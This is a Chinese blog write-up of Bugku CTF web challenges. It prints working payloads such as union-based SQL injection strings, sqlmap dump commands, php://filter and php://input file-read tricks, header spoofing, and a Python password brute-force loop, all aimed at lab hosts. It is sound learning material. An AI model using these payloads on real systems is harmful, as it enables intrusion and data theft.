bugku-web题

web3

根据php代码

地址栏输入/?what=flag即可

web4

这题是post

web5

这题考is_numeric这个函数,这个函数是检测变量是否为数字或数字字符串

题目必须要num不是数字才能进入if条件,但是条件里面又要num是1才能输出flag,所以就利用这个函数的漏洞绕过,在数字前面或者后面加上%00就会判断成非数值了,因为%00是空格符,所以这里我们写num=1%00

因为php是弱类型语言,不用在变量前加类型,所以也可以直接在1后面加一个字母,因为题目判断是否是1用的是两个等于号

还有一种方法是用逻辑矛盾

web6

全是弹窗,不过火狐可以一键阻止

最下面有一串字符,应该是ascii码

这个格式的字符编码很简单了,比如我直接复制到md文档里面就自动编码了

web7

访问发现一直在刷新页面,题目描述是:你必须让他停下

看了一会发现有时候刷新之后会显示图片,可能就是显示图片的时候会有flag,但是并不是图片上的flag

直接看网页源代码

尝试刷新一下网页源代码,图片序号会改,但是直接到地址栏打不开这个图片,然后多次刷新网页源代码

爆出flag,试一下10.jpg确实是可以看到图片的

web8

题目提示:文件包含

试一下在后面加/?hello=file(‘flag.php’)因为$_REQUEST用于收集HTML表单提交的数据,var_dump()函数可以打印,eval函数可以将字符串当作代码执行

flag直接出来了

web9

第一句的意思是flag在变量中

1
2
3
4
5
6
7
8
9
10
11
12
13
`flag In the variable !` <?php

error_reporting(0); ##关闭所有PHP错误报告
include "flag1.php";
highlight_file(__file__); ##语法高亮显示文件
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){ ##preg_match用于执行一个正则表达式匹配。 [\w+]表示匹配数字、字母、下划线和加号本身字符
die("args error!"); ##变量错误
}
eval("var_dump($$args);"); ##eval() 函数把字符串按照 PHP 代码来执行。 var_dump() 打印变量的相关信息
}
?>

我们需要传入args这个变量来获取flag,但是经过了过滤,只允许是数字,字母与下划线的组合。

var_dump里已经有一个$,但是flag在变量中,肯定不能直接传flag

这里引入php全局超级变量GLOBALS,可以看到所有变量,这样就可以看到flag了

我们看到打印出了很多的变量,中间的flag就是我们需要的了

web10

题目提示:头等舱

网页看不出什么东西

F12随便找找

竟然就在响应头里面

web11

提示是网站被黑了,找找黑客留下的后门

直接用dirsearch扫目录

发现一个shell.php

确实有个后门,现在密码不知道

笑死

尝试了一些字典,用burp没有跑出来,burp的暴力破解又太慢了,万能密码也不行,于是去网站上找线索,看到题目描述是黑客,试试hack直接成功了,确实很意外,不过好一点的字典应该会有hack的,主要需要一个好的字典

web12

题目提示:本地管理员

想到admin

网页上是一个登陆界面,下面一堆的n不知道什么意思

查看源代码在最后看到了一个注释

base64试一下

要么账号要么密码

账号admin密码test123试试

应该说要用本地ip登陆,可能是127.0.0.1

用burp发,添加X-Forwarded-For:127.0.0.1

直接拿到flag说明账号密码都对了

web13

题目提示:查看源代码

应该是url编码,把p1和中间的还有p2三段拼起来

出来这样的js代码

看一下很简单,就把中间那个复制出来提交即可

web14

点击后

感觉像是文件包含漏洞

构造?file=php://filter/read=convert.base64-encode/resource=index.php

用base64编码index.php进行读取,因为进行base64的编码后可以过滤掉一下拒绝显示的字符,所以php://filter起到的是一个过滤器的作用

得到base64编码,解码看看

建议学习一下这两篇文章

https://blog.csdn.net/qq_32393893/article/details/110228864

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

web15

题目说明:好像需要密码

直接burp爆破

试了一下burp太慢了,虽然是5位数字,但是也很慢很慢,写一个python脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://114.67.246.176:16878/"
for pwd in range(10000,100000):
pwd = str(pwd)
r = requests.post(url, data={'pwd': pwd})
r.encoding='utf-8'
if not ("密码不正确,请重新输入" in r.text):
print(pwd)
print("成功破解")
break
else:
print(pwd)

上面的是单线程的,应该用多线程的才对的,不过好在题目是12开头的,一下就跑出来了,多线程的脚本之后补

web16

题目提示:备份是个好习惯

怀疑有日志泄漏,用disearch去扫

扫出了bak文件

下载下来看看

这是md5加密

要让key1和key2的md5加密值相同,但是key1和key2要不同

因为md5无法处理数组,所以我们用数组来处理

先看一下前面的代码含义

strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

比如strstr(“Helloworld!”,”wo”);输出world!

所以题目中如果是127.0.0.1/?123那么str就是?123

substr()是截取后面的值substr(“Hello world”,6)就是输出world

所以题目中就是?123截取成123,把?去掉

str_replace()函数是替换

str_replace(“world”,”Peter”,”Hello world!”);

把字符串 “Hello world!” 中的字符 “world” 替换成 “Peter”

所以题目是把?后面所有的key替换为空

parse_str() 函数把查询字符串解析到变量中,比如下面的实例

1
2
3
4
5
<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>

输出为

1
2
Peter
43

题目中是parse_str($str);所以$str很重要,因为下两行出现了key1和key2变量,所以str这个变量里面应该有key1=xx&key2=xx这样,才会通过parse_str()这个函数把key1和key2解析成变量

整段代码已经逐一分析完毕,现在整体来看

地址栏需要传key1和key2但是如果出现key就会自动变成空,所以需要绕过过滤,把key变成kkeyey即可,里面的key替换成空,外面就留下key

即kkeyey=1&kkeyey=2

但是下面的md5又需要让key1和key2相等,所以让他们变成数组,因为md5不能算数组的md5,即NULL=NULL,所以就相等了

最终的payload就是?kkeyey1[]=1&kkeyey2[]=2

web17

sqlmap自动注入

应该是sql注入,这里直接用sqlmap跑,因为是post请求,我们输入1点击submit,用burp抓包

把包保存到txt文件

爆出注入点了,现在直接查看数据库都有什么

1
sqlmap -r /Users/long/Desktop/1.txt -dbs

image-20210424112049424

1
sqlmap -r /Users/long/Desktop/1.txt -D skctf --tables

看一下skctf数据库中的表

看一下表中的列

1
sqlmap -r /Users/long/Desktop/1.txt -D skctf -T fl4g --columns

看一下skctf_flag下的内容

1
sqlmap -r /Users/long/Desktop/1.txt -D skctf -T fl4g -C "skctf_flag" --dump

成功获取flag

还可以试一下手工注入

手工注入

输入1,2,3返回不同的成绩单

F12看一下,post请求传的是id=1

自己传一个id=1’

返回为空了,说明被闭合了

输入id=1’#和id=1’ and 1=1 #都是返回正常的,id=1’ and 1=2 #无回显,现在已经说明是字符型注入了

我们输入id=1’ order by 3#查询是否存在三个字段,返回正常,把3改成4,5…

order by 5的时候无回显了,说明有四个字段

现在我们使用union注入

id=1’ union select 1,2,3,4#

union就是联合查询,相当于and差不多,就是前面的id=1查了之后查后面的select 1,2,3,4

返回的是id=1的成绩单,因为这个是联合查询,前面的id=1查出来之后,只能显示一个内容,所以显示前面的id=1输出的内容了

我们可以试一下id=-1,因为大部分时候这个id是没有-1的数据的,所以id=-1查不到,就不会显示,后面的查得到,因为我们知道只有四个字段,所以后面查到了,就输出后面的了

可以看到2,3,4都被输出了,那么我们改成其他语句的话,就会执行

把2和3改成database()和version()分别查当前使用的数据库和数据库版本

id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

用这条语句查询当前数据库下面的表

注意:information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

所以information_schema.tables就是存放数据库所有表的信息

table_schema:数据库的名称,table_name:表的名称,group_concat()是用来拼接的

所以上面的语句合起来意思就是从information_schema这张表中查询,数据库名为当前数据库的所有表的名称

查到了fl4g和sc两张表,我们现在看看fl4g表下面的列

id=-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=’fl4g’#

接着查skctf_flag列下面的内容

id=-1’ union select 1,2,3,group_concat(skctf_flag)from fl4g #

web18

题目描述:秋名山车神

看上去是让我们在2s内算出解,那么这个题目应该会变的,刷新一下发现题目确实变了,再刷新发现出现这个

意思是用post传一个value值,这个value就是答案

那肯定要用脚本来传了

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import re
url = "http://114.67.246.176:18648/"
s = requests.session() # 要用session会话来保持这个请求,避免题目改变
t = s.get(url).text
ex = '<div>(.*?)</div>'
x = re.findall(ex,t,re.S)[0] # 利用正则表达式取出计算式,结果是一个列表,[0]取第一个变成字符串
x=x[:-3] # 切片把最后的=?;去掉
result = eval(x) # eval()函数可以直接计算表达式,返回结果
v = {'value': result}
flag = s.post(url, data=v) # 把计算结果用post方法传上去
print(flag.text)

web19

题目描述:速度要快

有一个注释,感觉和web18很类似

在请求头发现flag

刷新一下发现flag变了

把给的flag再解码一下,用post传过去

说我们太慢了,所以又是写脚本,不过和上题差不多

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64
url = "http://114.67.246.176:13774/"
s = requests.session() # 要用session会话来保持这个请求,避免题目改变
t = s.get(url).headers['flag']
t = base64.b64decode(t)[-8:]
t = base64.b64decode(t)
t = str(t,'utf-8')
v = {'margin': t}
flag = s.post(url, data=v) # 把计算结果用post方法传上去
print(flag.text)

(脚本随便写的,不优美勿喷)

web20

题目提示:cookies欺骗

看地址栏有个filename,后面是base64加密,解密得keys.txt

把index.php用base64加密试试

可以访问但页面为空

看前面的line行数,改成5

有代码出现了

发现line不同,显示不同的代码,但都是一行代码,猜测有一个多行的代码,我们一次只能读一行,写脚本一次性读取

1
2
3
4
5
6
import requests
for i in range(0,100):
url = "http://114.67.246.176:16461/index.php?line=%s&filename=aW5kZXgucGhw"
url = url%str(i)
response = requests.get(url)
print(response.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);



if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}



if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

看代码发现有keys.php这个文件,但是传入的cookie里面的margin参数的值必须为margin

用burp发包,注意地址里面的filename值为keys.php的base64编码

web21

题目描述:作者:御结冰城

看源代码有注释

访问1p.html

跳转到bugku,人傻了,不过感觉是先访问了1p.html再自动跳转过去的,直接看1p.html的源代码

这是一个js代码

words这个变量好像是url编码

还有一层,应该是base64

貌似还要url解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}


?>

分析一下,前5行是如果没有传id就自动传id=1

然后取id,a,b三个参数

9-13行的stripos函数返回’.’在’a’中首次出现的位置,如果为出现过肯定是true,执行if里面的return那就结束了,所以要让值为false,那就是’.’没有在a里面出现过,才会接着执行下面的语句

14行的@file_get_contents是把整个文件读入一个字符串中。所以a应该是一个文件

15-18行仔细分析一下

1
2
3
4
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}

data必须为bugku is a nice plateform!但是a要是一个文件,我们又没有文件,所以我们就用$a=php://input通过php伪协议去绕过file_get_contents

php官方手册这样介绍“php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。”

所以我们通过post请求作为data发送bugku is a nice plateform!即可绕过file_get_contents

id==0但是之前说如果!$_GET[‘id’]就会exit()所以我们需要绕过id==0这个判断

因为==会自动进行类型转换,所以我们让id变成以0开头的字符串即可,比如0a

substr(b,0,1)!=4这个说明$b开头不能为4

eregi()就是判断”1114”这个字符串里面是否有符合”111”.substr($b,0,1)这个规则的

简单来说eregi(“111”.substr($b,0,1),“1114”) 这个就是看”111”.substr($b,0,1)是不是和“1114”相同

eregi()有空字符截断漏洞,参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据

题目中待匹配字符串(第二个参数)已确定为 1114,正则表达式(第一个参数)由111和b的第一个字符组成,因为b的第一个字符不能是4,所以直接不能匹配

查了一下发现用星号或问号或点号可以绕过正则表达式的匹配,所以这里用*123456因为需要strlen($b)>5即b的长度大于5,所以是123456

web40

题目描述:我哥说渗透我只用linux环境

直接开dirsearch扫目录

好像是有git

这就是git源码泄漏(了解一些git泄漏https://blog.csdn.net/xy_sunny/article/details/107620695)

可以用GitHack这个项目

https://github.com/BugScanTeam/GitHack

这里不用,直接在kali中递归下载 .git目录文件

wget -r http://114.67.246.176:16887/.git/

进入这个文件夹,用git reflog 查看执行的命令日志

好像有好多,先回退到13ce8d0 试试

git reset 13ce8d0

git status看一下上次提交之后是否有对文件进行再次修改

就是删除了flag.txt

现在flag.txt在暂存区,我们恢复一下

git checkout – flag.txt

这当然不是flag了,我们再看一下其他的版本

最后在40c6d51这个版本下恢复的flag.txt文件是真的flag


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!